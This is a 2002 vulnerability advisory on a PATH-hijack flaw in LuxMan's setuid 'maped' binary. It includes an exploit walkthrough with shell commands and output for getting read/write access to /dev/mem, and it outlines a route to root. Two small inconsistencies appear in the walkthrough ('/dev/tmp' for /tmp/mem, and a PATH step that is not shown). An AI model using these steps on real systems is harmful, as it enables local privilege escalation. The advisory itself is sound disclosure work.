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Non-Explicit Path Vulnerability in LuxMan



Frank McIngvale's LuxMan is a Linux-based game similar to Pac Man. More information about it is available at http://packages.debian.org/stable/games/luxman.html.


Maped is a setuid binary that belongs to LuxMan. It executes gzip without using the full path. A local attacker can create an exploit binary named gzip and have maped execute it by properly modifying the path environment variable. The following is a sample run and explanation of an exploit that will duplicate /dev/mem to /tmp/mem:

First, the attacker sets the current working directory into the path environment variable:

farmer@debian30:~$ export | grep PATH
declare -x PATH="/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games"
farmer@debian30:~$ declare -x
farmer@debian30:~$ export | grep PATH
declare -x PATH="./:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games"

Second, the attacker compiles the exploit as a binary named gzip and creates a fake archive:

farmer@debian30:~$ cc gzip.c -o gzip
farmer@debian30:~$ touch test.gz

Third, the attacker executes the maped binary:

farmer@debian30:~$ `which maped` test.gz
You must be the owner of the current console to use svgalib.
Not running in a graphics capable console,
and unable to find one.
Using VGA driver.
svgalib 1.4.3

At this point, /dev/mem is being duplicated into /dev/tmp. The descriptor to /dev/mem can be analyzed in a separate terminal:

farmer@debian30:~$ lsof | grep /dev/mem
gzip 5197 farmer 5u CHR 1,1 178294 /dev/mem

farmer@debian30:~$ cd /proc/5197/fd/
farmer@debian30:~$ ls -l
total 0
lrwx------ 1 farmer farmer 64 Oct 10 05:56 0 -> /dev/pts/1
l-wx------ 1 farmer farmer 64 Oct 10 05:56 1 -> pipe:[4991]
lrwx------ 1 farmer farmer 64 Oct 10 05:56 2 -> /dev/pts/1
lrwx------ 1 farmer farmer 64 Oct 10 05:56 3 -> /tmp/mem
lr-x------ 1 farmer farmer 64 Oct 10 05:56 4 -> /dev/zero
lrwx------ 1 farmer farmer 64 Oct 10 05:56 5 -> /dev/mem

It is clear that descriptor 5 is a read write descriptor to /dev/mem.


Any local user can launch this attack to gain read/write access to /dev/mem. Such access can lead to local root compromise. Exploitation is possible by scanning the file for fragments of the master password file and modifying kernel memory to re-map system calls.


LuxMan 0.41, which is packaged and distributed with Debian Linux 3.0r0, is vulnerable. It is probable that the same LuxMan version is vulnerable on other platforms as well.


Customers should consider one of the two following options:

Option 1: Remove the LuxMan package by issuing the command "# apt-get remove luxman".

Option 2: Remove the setuid bit from the maped binary by executing the command "# chmod -s `which maped`".


The Debian Project has made available an updated LuxMan package that fixes this vulnerability. More information should be available in DSA-189 at http://www.debian.org/security/2002/dsa-189 .


The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project assigned the identification number CAN-2002-1245 to this issue.


10/03/2002 Issue disclosed to iDEFENSE
10/31/2002 Maintainer, Janos Lenart (ocsi@debian.org), and
10/31/2002 iDEFENSE clients notified
11/02/2002 Responses received from ocsi@debian.org and Martin Schulze
11/06/2002 Public disclosure


Texonet (http://www.texonet.com) discovered this vulnerability.